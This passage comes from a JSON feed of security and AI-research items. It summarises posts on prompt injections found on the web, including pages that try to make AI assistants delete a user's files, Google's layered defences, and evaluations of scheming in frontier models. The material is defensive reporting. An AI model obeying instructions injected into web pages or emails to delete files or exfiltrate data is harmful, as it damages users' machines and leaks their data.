Finally, we observed a number of websites that attempt to vandalize the machine of anyone using AI assistants. If executed, the commands in this example would try to delete all files on the user’s machine: \n\n While potentially devastating, we consider this simple injection unlikely to succeed, which makes it similar to those in the other categories: We mostly found individual website authors who seemed to be running experiments or pranks, without replicating advanced IPI strategies found in recently published research. \n\n What does this mean? \n\n Our results indicate that attackers are experimenting with IPI on the web. While the observed activity suggests limited sophistication, this might be only part of the bigger picture. \n\n For one, we sca","action":"Read the exact official research article before applying its defensive techniques or drawing conclusions.","publishedAt":"2026-04-23T21:38:00.000Z","updatedAt":"2026-04-23T21:38:06.567Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"infrastructure","evidence":"confirmed","explanation":"The official article discusses security of AI systems or agents. AI is the affected infrastructure; this is not evidence that attackers used AI.","sourceUrl":"https://security.googleblog.com/2026/04/ai-threats-in-wild-current-state-of.html"},"sources":[{"name":"Google Security Research: AI threats in the wild: The current state of prompt injections on the web","url":"https://security.googleblog.com/2026/04/ai-threats-in-wild-current-state-of.html","type":"primary","publishedAt":"2026-04-23T21:38:00.000Z","checkedAt":"2026-10-26T18:35:55.322Z","supports":"Exact official article/advisory identified by the feed; title, source dates, and any supplied article excerpt."},{"name":"Google Security Research syndication feed","url":"https://security.googleblog.com/feeds/posts/default?alt=rss&redirect=false&max-results=50","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:35:55.322Z","supports":"The RSS/Atom/RDF entry supplied this exact link and any available title, date, and excerpt."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:35:55.322Z","reviewedAt":null},"reviewed":false},{"id":"openai-scaling-trusted-access-for-cyber-defense-17bf9cbe1f8c","cveId":null,"aliases":[],"kind":"ai-research","title":"Trusted access for the next era of cyber defense","summary":"OpenAI expands its Trusted Access for Cyber program, introducing GPT-5.4-Cyber to vetted defenders and strengthening safeguards as AI cybersecurity capabilities advance.","detail":"OpenAI expands its Trusted Access for Cyber program, introducing GPT-5.4-Cyber to vetted defenders and strengthening safeguards as AI cybersecurity capabilities advance.\n\nPublished by OpenAI; not independently reviewed by KEVWire. Consult the exact article and any primary disclosure it links.","action":"Read the original post for its scope and limitations before applying its findings.","publishedAt":"2026-04-14T00:00:00.000Z","updatedAt":null,"regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"defense","evidence":"confirmed","explanation":"The source describes AI used to find or fix security problems, or safety research. Disclosed by OpenAI, the organization that runs or studies the system.","sourceUrl":"https://openai.com/index/scaling-trusted-access-for-cyber-defense"},"sources":[{"name":"OpenAI: Trusted access for the next era of cyber defense","url":"https://openai.com/index/scaling-trusted-access-for-cyber-defense","type":"primary","publishedAt":"2026-04-14T00:00:00.000Z","checkedAt":"2026-10-26T18:25:55.448Z","supports":"The organization's own post describing safety or security research; authoritative for what it states, not independently verified here."},{"name":"OpenAI syndication feed","url":"https://openai.com/news/rss.xml","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:25:55.448Z","supports":"The RSS/Atom/RDF entry supplied this exact link and any available title, date, and excerpt."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:25:55.448Z","reviewedAt":null},"reviewed":false},{"id":"openai-designing-agents-to-resist-prompt-injection-3dec299964e6","cveId":null,"aliases":[],"kind":"ai-research","title":"Designing AI agents to resist prompt injection","summary":"How ChatGPT defends against prompt injection and social engineering by constraining risky actions and protecting sensitive data in agent workflows.","detail":"How ChatGPT defends against prompt injection and social engineering by constraining risky actions and protecting sensitive data in agent workflows.\n\nPublished by OpenAI; not independently reviewed by KEVWire. Consult the exact article and any primary disclosure it links.","action":"Read the original post for its scope and limitations before applying its findings.","publishedAt":"2026-03-11T11:30:00.000Z","updatedAt":null,"regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"infrastructure","evidence":"confirmed","explanation":"The source describes a flaw in, or an attack on, an AI system. This alone does not show attackers used AI. Disclosed by OpenAI, the organization that runs or studies the system.","sourceUrl":"https://openai.com/index/designing-agents-to-resist-prompt-injection"},"sources":[{"name":"OpenAI: Designing AI agents to resist prompt injection","url":"https://openai.com/index/designing-agents-to-resist-prompt-injection","type":"primary","publishedAt":"2026-03-11T11:30:00.000Z","checkedAt":"2026-10-26T18:25:55.448Z","supports":"The organization's own post describing safety or security research; authoritative for what it states, not independently verified here."},{"name":"OpenAI syndication feed","url":"https://openai.com/news/rss.xml","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:25:55.448Z","supports":"The RSS/Atom/RDF entry supplied this exact link and any available title, date, and excerpt."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:25:55.448Z","reviewedAt":null},"reviewed":false},{"id":"openai-hardening-atlas-against-prompt-injection-0ad9fbef8c87","cveId":null,"aliases":[],"kind":"ai-research","title":"Continuously hardening ChatGPT Atlas against prompt injection","summary":"OpenAI is strengthening ChatGPT Atlas against prompt injection attacks using automated red teaming trained with reinforcement learning. This proactive discover-and-patch loop helps identify novel exploits early and harden the browser agent’s defenses as AI becomes more agentic.","detail":"OpenAI is strengthening ChatGPT Atlas against prompt injection attacks using automated red teaming trained with reinforcement learning. This proactive discover-and-patch loop helps identify novel exploits early and harden the browser agent’s defenses as AI becomes more agentic.\n\nPublished by OpenAI; not independently reviewed by KEVWire. Consult the exact article and any primary disclosure it links.","action":"Read the original post for its scope and limitations before applying its findings.","publishedAt":"2025-12-22T00:00:00.000Z","updatedAt":null,"regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"infrastructure","evidence":"confirmed","explanation":"The source describes a flaw in, or an attack on, an AI system. This alone does not show attackers used AI. Disclosed by OpenAI, the organization that runs or studies the system.","sourceUrl":"https://openai.com/index/hardening-atlas-against-prompt-injection"},"sources":[{"name":"OpenAI: Continuously hardening ChatGPT Atlas against prompt injection","url":"https://openai.com/index/hardening-atlas-against-prompt-injection","type":"primary","publishedAt":"2025-12-22T00:00:00.000Z","checkedAt":"2026-10-26T18:25:55.448Z","supports":"The organization's own post describing safety or security research; authoritative for what it states, not independently verified here."},{"name":"OpenAI syndication feed","url":"https://openai.com/news/rss.xml","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:25:55.448Z","supports":"The RSS/Atom/RDF entry supplied this exact link and any available title, date, and excerpt."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:25:55.448Z","reviewedAt":null},"reviewed":false},{"id":"openai-strengthening-cyber-resilience-365d33ac3468","cveId":null,"aliases":[],"kind":"ai-research","title":"Strengthening cyber resilience as AI capabilities advance","summary":"OpenAI is investing in stronger safeguards and defensive capabilities as AI models become more powerful in cybersecurity. We explain how we assess risk, limit misuse, and work with the security community to strengthen cyber resilience.","detail":"OpenAI is investing in stronger safeguards and defensive capabilities as AI models become more powerful in cybersecurity. We explain how we assess risk, limit misuse, and work with the security community to strengthen cyber resilience.\n\nPublished by OpenAI; not independently reviewed by KEVWire. Consult the exact article and any primary disclosure it links.","action":"Read the original post for its scope and limitations before applying its findings.","publishedAt":"2025-12-10T12:00:00.000Z","updatedAt":null,"regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"defense","evidence":"confirmed","explanation":"The source describes AI used to find or fix security problems, or safety research. Disclosed by OpenAI, the organization that runs or studies the system.","sourceUrl":"https://openai.com/index/strengthening-cyber-resilience"},"sources":[{"name":"OpenAI: Strengthening cyber resilience as AI capabilities advance","url":"https://openai.com/index/strengthening-cyber-resilience","type":"primary","publishedAt":"2025-12-10T12:00:00.000Z","checkedAt":"2026-10-26T18:25:55.448Z","supports":"The organization's own post describing safety or security research; authoritative for what it states, not independently verified here."},{"name":"OpenAI syndication feed","url":"https://openai.com/news/rss.xml","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:25:55.448Z","supports":"The RSS/Atom/RDF entry supplied this exact link and any available title, date, and excerpt."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:25:55.448Z","reviewedAt":null},"reviewed":false},{"id":"openai-prompt-injections-8cd903898ffd","cveId":null,"aliases":[],"kind":"ai-research","title":"Understanding prompt injections: a frontier security challenge","summary":"Prompt injections are a frontier security challenge for AI systems. Learn how these attacks work and how OpenAI is advancing research, training models, and building safeguards for users.","detail":"Prompt injections are a frontier security challenge for AI systems. Learn how these attacks work and how OpenAI is advancing research, training models, and building safeguards for users.\n\nPublished by OpenAI; not independently reviewed by KEVWire. Consult the exact article and any primary disclosure it links.","action":"Read the original post for its scope and limitations before applying its findings.","publishedAt":"2025-11-07T11:30:00.000Z","updatedAt":null,"regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"defense","evidence":"confirmed","explanation":"The source describes AI used to find or fix security problems, or safety research. Disclosed by OpenAI, the organization that runs or studies the system.","sourceUrl":"https://openai.com/index/prompt-injections"},"sources":[{"name":"OpenAI: Understanding prompt injections: a frontier security challenge","url":"https://openai.com/index/prompt-injections","type":"primary","publishedAt":"2025-11-07T11:30:00.000Z","checkedAt":"2026-10-26T18:25:55.448Z","supports":"The organization's own post describing safety or security research; authoritative for what it states, not independently verified here."},{"name":"OpenAI syndication feed","url":"https://openai.com/news/rss.xml","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:25:55.448Z","supports":"The RSS/Atom/RDF entry supplied this exact link and any available title, date, and excerpt."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:25:55.448Z","reviewedAt":null},"reviewed":false},{"id":"openai-doppel-4b7ec9bbe34f","cveId":null,"aliases":[],"kind":"ai-research","title":"Doppel’s AI defense system stops attacks before they spread","summary":"Doppel uses GPT-5 and reinforcement fine-tuning to stop deepfake and impersonation attacks, cutting analyst workloads by 80% and reducing response times from hours to minutes.","detail":"Doppel uses GPT-5 and reinforcement fine-tuning to stop deepfake and impersonation attacks, cutting analyst workloads by 80% and reducing response times from hours to minutes.\n\nPublished by OpenAI; not independently reviewed by KEVWire. Consult the exact article and any primary disclosure it links.","action":"Read the original post for its scope and limitations before applying its findings.","publishedAt":"2025-10-28T10:00:00.000Z","updatedAt":null,"regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"defense","evidence":"confirmed","explanation":"The source describes AI used to find or fix security problems, or safety research. Disclosed by OpenAI, the organization that runs or studies the system.","sourceUrl":"https://openai.com/index/doppel"},"sources":[{"name":"OpenAI: Doppel’s AI defense system stops attacks before they spread","url":"https://openai.com/index/doppel","type":"primary","publishedAt":"2025-10-28T10:00:00.000Z","checkedAt":"2026-10-26T18:25:55.448Z","supports":"The organization's own post describing safety or security research; authoritative for what it states, not independently verified here."},{"name":"OpenAI syndication feed","url":"https://openai.com/news/rss.xml","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:25:55.448Z","supports":"The RSS/Atom/RDF entry supplied this exact link and any available title, date, and excerpt."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:25:55.448Z","reviewedAt":null},"reviewed":false},{"id":"openai-combating-online-child-sexual-exploitation-abuse-1b2240d7e630","cveId":null,"aliases":[],"kind":"ai-research","title":"Combating online child sexual exploitation & abuse","summary":"Discover how OpenAI combats online child sexual exploitation and abuse with strict usage policies, advanced detection tools, and industry collaboration to block, report, and prevent AI misuse.","detail":"Discover how OpenAI combats online child sexual exploitation and abuse with strict usage policies, advanced detection tools, and industry collaboration to block, report, and prevent AI misuse.\n\nPublished by OpenAI; not independently reviewed by KEVWire. Consult the exact article and any primary disclosure it links.","action":"Read the original post for its scope and limitations before applying its findings.","publishedAt":"2025-09-29T03:00:00.000Z","updatedAt":null,"regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"defense","evidence":"confirmed","explanation":"The source describes AI used to find or fix security problems, or safety research. Disclosed by OpenAI, the organization that runs or studies the system.","sourceUrl":"https://openai.com/index/combating-online-child-sexual-exploitation-abuse"},"sources":[{"name":"OpenAI: Combating online child sexual exploitation & abuse","url":"https://openai.com/index/combating-online-child-sexual-exploitation-abuse","type":"primary","publishedAt":"2025-09-29T03:00:00.000Z","checkedAt":"2026-10-26T18:25:55.448Z","supports":"The organization's own post describing safety or security research; authoritative for what it states, not independently verified here."},{"name":"OpenAI syndication feed","url":"https://openai.com/news/rss.xml","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:25:55.448Z","supports":"The RSS/Atom/RDF entry supplied this exact link and any available title, date, and excerpt."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:25:55.448Z","reviewedAt":null},"reviewed":false},{"id":"google-security-accelerating-adoption-of-ai-for-20a64891405d","cveId":null,"aliases":[],"kind":"ai-research","title":"Accelerating adoption of AI for cybersecurity at DEF CON 33","summary":"Posted by Elie Bursztein and Marianna Tishchenko, Google Privacy, Safety and Security Team \n\n Empowering cyber defenders with AI is critical to tilting the cybersecurity balance back in their favor as they battle cybercriminals and keep users safe. To help accelerate adoption of AI for cybersecurity workflows, we partnered with Airbus at DEF CON 33 to host the GenSec Capture the Flag (CTF) , dedicated to human-AI collaboration in cybersecurity. Our goal was to create a fun, interactive environment, where participants across various skill levels could explore how AI can accelerate their daily cybersecurity workflows. \n\n At GenSec CTF, nearly 500 participants successfully completed introductory challenges, with 23% of participants using AI for cybersecurity for the very first time. An overwhelming 85% of all participants found the event useful for learning how AI can be applied to security workflows. This positive feedback highlights that AI-centric CTFs can play a vital role in speeding up AI education and adoption in the security community. \n\n The CTF also offered a valuable opportunity for the community to use Sec-Gemini , Google’s experimental Cybersecurity AI, as an optional assistant available in the UI alongside major LLMs. And we received great feedback on Sec-Gemini, with 77% of respondents saying that they had found Sec-Gemini either “very helpful” or “extremely helpful” in assisting them with solving the challenges. \n\n We want to thank the DEF CON community for the enthusiastic participation and for making this inaugural event a resounding success. The community feedback during the event has been invaluable for understanding how to improve Sec-Gemini, and we are already incorporating some of the lessons learned into the next iteration. \n\n We are committed to advancing the AI cybersecurity frontier and will continue working with the community to build tools that help protect people online. Stay tuned as we plan to share more research and key learnings from t","detail":"Posted by Elie Bursztein and Marianna Tishchenko, Google Privacy, Safety and Security Team \n\n Empowering cyber defenders with AI is critical to tilting the cybersecurity balance back in their favor as they battle cybercriminals and keep users safe. To help accelerate adoption of AI for cybersecurity workflows, we partnered with Airbus at DEF CON 33 to host the GenSec Capture the Flag (CTF) , dedicated to human-AI collaboration in cybersecurity. Our goal was to create a fun, interactive environment, where participants across various skill levels could explore how AI can accelerate their daily cybersecurity workflows. \n\n At GenSec CTF, nearly 500 participants successfully completed introductory challenges, with 23% of participants using AI for cybersecurity for the very first time. An overwhelming 85% of all participants found the event useful for learning how AI can be applied to security workflows. This positive feedback highlights that AI-centric CTFs can play a vital role in speeding up AI education and adoption in the security community. \n\n The CTF also offered a valuable opportunity for the community to use Sec-Gemini , Google’s experimental Cybersecurity AI, as an optional assistant available in the UI alongside major LLMs. And we received great feedback on Sec-Gemini, with 77% of respondents saying that they had found Sec-Gemini either “very helpful” or “extremely helpful” in assisting them with solving the challenges. \n\n We want to thank the DEF CON community for the enthusiastic participation and for making this inaugural event a resounding success. The community feedback during the event has been invaluable for understanding how to improve Sec-Gemini, and we are already incorporating some of the lessons learned into the next iteration. \n\n We are committed to advancing the AI cybersecurity frontier and will continue working with the community to build tools that help protect people online. Stay tuned as we plan to share more research and key learnings from the CTF with the broader community.\n\nThis is an excerpt of official research, not a reproduced result or evidence of exposure to a scored vulnerability.","action":"Read the exact official research article before applying its defensive techniques or drawing conclusions.","publishedAt":"2025-09-24T18:42:00.000Z","updatedAt":"2025-09-24T19:07:00.196Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"defense","evidence":"reported","explanation":"The official teams report AI-assisted security detection, vulnerability discovery, or defender workflows. The result was not independently reproduced here and does not establish attacker AI use or universal effectiveness.","sourceUrl":"https://security.googleblog.com/2025/09/accelerating-adoption-of-ai-for.html"},"sources":[{"name":"Google Security Research: Accelerating adoption of AI for cybersecurity at DEF CON 33","url":"https://security.googleblog.com/2025/09/accelerating-adoption-of-ai-for.html","type":"primary","publishedAt":"2025-09-24T18:42:00.000Z","checkedAt":"2026-10-26T18:35:55.322Z","supports":"Exact official article/advisory identified by the feed; title, source dates, and any supplied article excerpt."},{"name":"Google Security Research syndication feed","url":"https://security.googleblog.com/feeds/posts/default?alt=rss&redirect=false&max-results=50","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:35:55.322Z","supports":"The RSS/Atom/RDF entry supplied this exact link and any available title, date, and excerpt."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:35:55.322Z","reviewedAt":null},"reviewed":false},{"id":"openai-detecting-and-reducing-scheming-in-ai-models-bef6cbe2a83e","cveId":null,"aliases":[],"kind":"ai-research","title":"Detecting and reducing scheming in AI models","summary":"Apollo Research and OpenAI developed evaluations for hidden misalignment (“scheming”) and found behaviors consistent with scheming in controlled tests across frontier models. The team shared concrete examples and stress tests of an early method to reduce scheming.","detail":"Apollo Research and OpenAI developed evaluations for hidden misalignment (“scheming”) and found behaviors consistent with scheming in controlled tests across frontier models. The team shared concrete examples and stress tests of an early method to reduce scheming.\n\nPublished by OpenAI; not independently reviewed by KEVWire. Consult the exact article and any primary disclosure it links.","action":"Read the original post for its scope and limitations before applying its findings.","publishedAt":"2025-09-17T00:00:00.000Z","updatedAt":null,"regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"defense","evidence":"confirmed","explanation":"The source describes AI used to find or fix security problems, or safety research. Disclosed by OpenAI, the organization that runs or studies the system.","sourceUrl":"https://openai.com/index/detecting-and-reducing-scheming-in-ai-models"},"sources":[{"name":"OpenAI: Detecting and reducing scheming in AI models","url":"https://openai.com/index/detecting-and-reducing-scheming-in-ai-models","type":"primary","publishedAt":"2025-09-17T00:00:00.000Z","checkedAt":"2026-10-26T18:25:55.448Z","supports":"The organization's own post describing safety or security research; authoritative for what it states, not independently verified here."},{"name":"OpenAI syndication feed","url":"https://openai.com/news/rss.xml","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:25:55.448Z","supports":"The RSS/Atom/RDF entry supplied this exact link and any available title, date, and excerpt."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:25:55.448Z","reviewedAt":null},"reviewed":false},{"id":"openai-openai-anthropic-safety-evaluation-ad13fe7d3321","cveId":null,"aliases":[],"kind":"ai-research","title":"OpenAI and Anthropic share findings from a joint safety evaluation","summary":"OpenAI and Anthropic share findings from a first-of-its-kind joint safety evaluation, testing each other’s models for misalignment, instruction following, hallucinations, jailbreaking, and more—highlighting progress, challenges, and the value of cross-lab collaboration.","detail":"OpenAI and Anthropic share findings from a first-of-its-kind joint safety evaluation, testing each other’s models for misalignment, instruction following, hallucinations, jailbreaking, and more—highlighting progress, challenges, and the value of cross-lab collaboration.\n\nPublished by OpenAI; not independently reviewed by KEVWire. Consult the exact article and any primary disclosure it links.","action":"Read the original post for its scope and limitations before applying its findings.","publishedAt":"2025-08-27T10:00:00.000Z","updatedAt":null,"regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"defense","evidence":"confirmed","explanation":"The source describes AI used to find or fix security problems, or safety research. Disclosed by OpenAI, the organization that runs or studies the system.","sourceUrl":"https://openai.com/index/openai-anthropic-safety-evaluation"},"sources":[{"name":"OpenAI: OpenAI and Anthropic share findings from a joint safety evaluation","url":"https://openai.com/index/openai-anthropic-safety-evaluation","type":"primary","publishedAt":"2025-08-27T10:00:00.000Z","checkedAt":"2026-10-26T18:25:55.448Z","supports":"The organization's own post describing safety or security research; authoritative for what it states, not independently verified here."},{"name":"OpenAI syndication feed","url":"https://openai.com/news/rss.xml","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:25:55.448Z","supports":"The RSS/Atom/RDF entry supplied this exact link and any available title, date, and excerpt."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:25:55.448Z","reviewedAt":null},"reviewed":false},{"id":"darpa-aixcc-final-results-2025","cveId":null,"aliases":["AIxCC","AI Cyber Challenge"],"kind":"ai-research","title":"DARPA AIxCC final demonstrates AI-assisted discovery and patching","summary":"DARPA reports that AIxCC finalists found 54 of 63 synthetic vulnerabilities and patched 43 in the final competition. Separately, teams found 18 non-synthetic vulnerabilities and provided 11 patches for those real-software findings.","detail":"These are competition results on a disclosed software corpus, not live breach counts or a universal patch-success rate. DARPA corrected its original synthetic-vulnerability denominator to 63. The results describe AI combined with other cyber-defense techniques and planned open-source transition.","action":"Evaluate released cyber reasoning systems and competition artifacts against local code and tests before operational adoption. Distinguish synthetic benchmark results, real-software findings, and maintainer acceptance of proposed patches.","publishedAt":"2025-08-08","updatedAt":null,"regions":["Global"],"vendor":"DARPA / ARPA-H","product":"AI Cyber Challenge cyber reasoning systems","stacks":["Java","AI security","C/C++","Fuzzing","Open source"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"defense","evidence":"reported","explanation":"The competition organizer reports actual AI-enabled discovery and patch generation. This review verifies the organizer's published results, not independent reproduction or deployment effectiveness.","sourceUrl":"https://www.darpa.mil/news/2025/aixcc-results"},"sources":[{"name":"DARPA AIxCC final results","url":"https://www.darpa.mil/news/2025/aixcc-results","type":"primary","publishedAt":"2025-08-08","checkedAt":"2026-10-26","supports":"Final competition results, corrected synthetic denominator, separate non-synthetic findings, and open-source transition."}],"provenance":{"origin":"editorial","retrievedAt":null,"reviewedAt":"2026-10-26"},"reviewed":false},{"id":"google-security-mitigating-prompt-injection-attacks-91aa1a6e0568","cveId":null,"aliases":[],"kind":"ai-research","title":"Mitigating prompt injection attacks with a layered defense strategy","summary":"Posted by Adam Gavish, Google GenAI Security Team \n\n With the rapid adoption of generative AI, a new wave of threats is emerging across the industry with the aim of manipulating the AI systems themselves. One such emerging attack vector is indirect prompt injections. Unlike direct prompt injections, where an attacker directly inputs malicious commands into a prompt, indirect prompt injections involve hidden malicious instructions within external data sources. These may include emails, documents, or calendar invites that instruct AI to exfiltrate user data or execute other rogue actions. As more governments, businesses, and individuals adopt generative AI to get more done, this subtle yet potentially potent attack becomes increasingly pertinent across the industry, demanding immediate attention and robust security measures. \n\n At Google, our teams have a longstanding precedent of investing in a defense-in-depth strategy, including robust evaluation, threat analysis, AI security best practices , AI red-teaming , adversarial training, and model hardening for generative AI tools. This approach enables safer adoption of Gemini in Google Workspace and the Gemini app (we refer to both in this blog as “Gemini” for simplicity). Below we describe our prompt injection mitigation product strategy based on extensive research, development, and deployment of improved security mitigations. \n\n A layered security approach \n\n Google has taken a layered security approach introducing security measures designed for each stage of the prompt lifecycle. From Gemini 2.5 model hardening, to purpose-built machine learning (ML) models detecting malicious instructions, to system-level safeguards, we are meaningfully elevating the difficulty, expense, and complexity faced by an attacker. This approach compels adversaries to resort to methods that are either more easily identified or demand greater resources. \n\n Our model training with adversarial data significantly enhanced our defenses against i","detail":"Posted by Adam Gavish, Google GenAI Security Team \n\n With the rapid adoption of generative AI, a new wave of threats is emerging across the industry with the aim of manipulating the AI systems themselves. One such emerging attack vector is indirect prompt injections. Unlike direct prompt injections, where an attacker directly inputs malicious commands into a prompt, indirect prompt injections involve hidden malicious instructions within external data sources. These may include emails, documents, or calendar invites that instruct AI to exfiltrate user data or execute other rogue actions. As more governments, businesses, and individuals adopt generative AI to get more done, this subtle yet potentially potent attack becomes increasingly pertinent across the industry, demanding immediate attention and robust security measures. \n\n At Google, our teams have a longstanding precedent of investing in a defense-in-depth strategy, including robust evaluation, threat analysis, AI security best practices , AI red-teaming , adversarial training, and model hardening for generative AI tools. This approach enables safer adoption of Gemini in Google Workspace and the Gemini app (we refer to both in this blog as “Gemini” for simplicity). Below we describe our prompt injection mitigation product strategy based on extensive research, development, and deployment of improved security mitigations. \n\n A layered security approach \n\n Google has taken a layered security approach introducing security measures designed for each stage of the prompt lifecycle. From Gemini 2.5 model hardening, to purpose-built machine learning (ML) models detecting malicious instructions, to system-level safeguards, we are meaningfully elevating the difficulty, expense, and complexity faced by an attacker. This approach compels adversaries to resort to methods that are either more easily identified or demand greater resources. \n\n Our model training with adversarial data significantly enhanced our defenses against indirect prompt injection attacks in Gemini 2.5 models ( technical details ). This inherent model resilience is augmented with additional defenses that we built directly into Gemini, including: \n\n Prompt injection content classifiers \n\n Security thought reinforcement \n\n Markdown sanitization and suspicious URL redaction \n\n User confirmation framework \n\n End-user security mitigation notifications \n\n This layered approach to our security strategy strengthens the overall security framework for Gemini – throughout the prompt lifecycle and across diverse attack techniques. \n\n 1. Prompt injection content classifiers \n\n Through collaboration with leading AI security researchers via Google's AI Vulnerability Reward Program (VRP) , we've curated one of the world’s most advanced catalogs of generative AI vulnerabilities and adversarial data. Utilizing this resource, we built and are in the process of rolling out proprietary machine learning models that can detect malicious prompts and instructions within various formats, such as emails and files, drawing from real-world examples. Consequently, when users query Workspace data with Gemini, the content classifiers filter out harmful data containing malicious instructions, helping to ensure a secure end-to-end user experience by retaining only safe content. For example, if a user receives an email in Gmail that includes malicious instructions, our content classifiers help to detect and disregard malicious instructions, then generate a safe response for the user. This is in addition to built-in defenses in Gmail that automatically block more than 99.9% of spam, phishing attempts, and malware. \n\n A diagram of Gemini’s actions based on the detection of the malicious instructions by content classifiers. \n\n 2. Security thought reinforcement \n\n This technique adds targeted security instructions surrounding the prompt content to remind the large language model (LLM) to perform the user-directed task and ignore any adversarial instructions that could be present in the content. With this approach, we steer the LLM to stay focused on the task and ignore harmful or malicious requests added by a threat actor to execute indirect prompt injection attacks. \n\n A diagram of Gemini’s actions based on additional protection provided by the security thought reinforcement technique. \n\n 3. Markdown sanitization and suspicious URL redaction \n\n Our markdown sanitizer identifies external image URLs and will not render them, making the “EchoLeak” 0-click image rendering exfiltration vulnerability not applicable to Gemini. From there, a key protection against prompt injection and data exfiltration attacks occurs at the URL level. With external data containing dynamic URLs, users may encounter unknown risks as these URLs may be designed for indirect prompt injections and data exfiltration attacks. Malicious instructions executed on a user's behalf may also generate harmful URLs. With Gemini, our defense system includes suspicious URL detection based on Google Safe Browsing to differentiate between safe and unsafe links, providing a secure experience by helping to prevent URL-based attacks. For example, if a document contains malicious URLs and a user is summarizing the content with Gemini, the suspicious URLs will be redacted in Gemini’s response. \n\n Gemini in Gmail provides a summary of an email thread. In the summary, there is an unsafe URL. That URL is redacted in the response and is replaced with the text “suspicious link removed”. \n\n 4. User confirmation framework \n\n Gemini also features a contextual user confirmation system. This framework enables Gemini to require user confirmation for certain actions, also known as “Human-In-The-Loop” (HITL), using these responses to bolster security and streamline the user experience. For example, potentially risky operations like deleting a calendar event may trigger an explicit user confirmation request, thereby helping to prevent undetected or immediate execution of the operation. \n\n The Gemini app with instructions to delete all events on Saturday. Gemini responds with the events found on Google Calendar and asks the user to confirm this action. \n\n 5. End-user security mitigation notifications \n\n A key aspect to keeping our users safe is sharing details on attacks that we’ve stopped so users can watch out for similar attacks in the future. To that end, when security issues are mitigated with our built-in defenses, end users are provided with contextual information allowing them to learn more via dedicated help center articles. For example, if Gemini summarizes a file containing malicious instructions and one of Google’s prompt injection defenses mitigates the situation, a security notification with a “Learn more” link will be displayed for the user. Users are encouraged to become more familiar with our prompt injection defenses by reading the Help Center article . \n\n Gemini in Docs with instructions to provide a summary of a file. Suspicious content was detected and a response was not provided. There is a yellow security notification banner for the user and a statement that Gemini’s response has been removed, with a “Learn more” link to a relevant Help Center article . \n\n Moving forward \n\n Our comprehensive prompt injection security strategy strengthens the overall security framework for Gemini. Beyond the techniques described above, it also involves rigorous testing through manual and automated red teams, generative AI security BugSWAT events, strong security standards like our Secure AI Framework (SAIF), and partnerships with both external researchers via the Google AI Vulnerability Reward Program (VRP) and industry peers via the Coalition for Secure AI (CoSAI). Our commitment to trust includes collaboration with the security community to responsibly disclose AI security vulnerabilities, share our latest threat intelligence on ways we see bad actors trying to leverage AI, and offering insights into our work to build stronger prompt","action":"Read the exact official research article before applying its defensive techniques or drawing conclusions.","publishedAt":"2025-06-13T16:03:00.000Z","updatedAt":"2026-04-02T19:45:04.288Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"infrastructure","evidence":"confirmed","explanation":"The official article discusses security of AI systems or agents. AI is the affected infrastructure; this is not evidence that attackers used AI.","sourceUrl":"https://security.googleblog.com/2025/06/mitigating-prompt-injection-attacks.html"},"sources":[{"name":"Google Security Research: Mitigating prompt injection attacks with a layered defense strategy","url":"https://security.googleblog.com/2025/06/mitigating-prompt-injection-attacks.html","type":"primary","publishedAt":"2025-06-13T16:03:00.000Z","checkedAt":"2026-10-26T18:35:55.322Z","supports":"Exact official article/advisory identified by the feed; title, source dates, and any supplied article excerpt."},{"name":"Google Security Research syndication 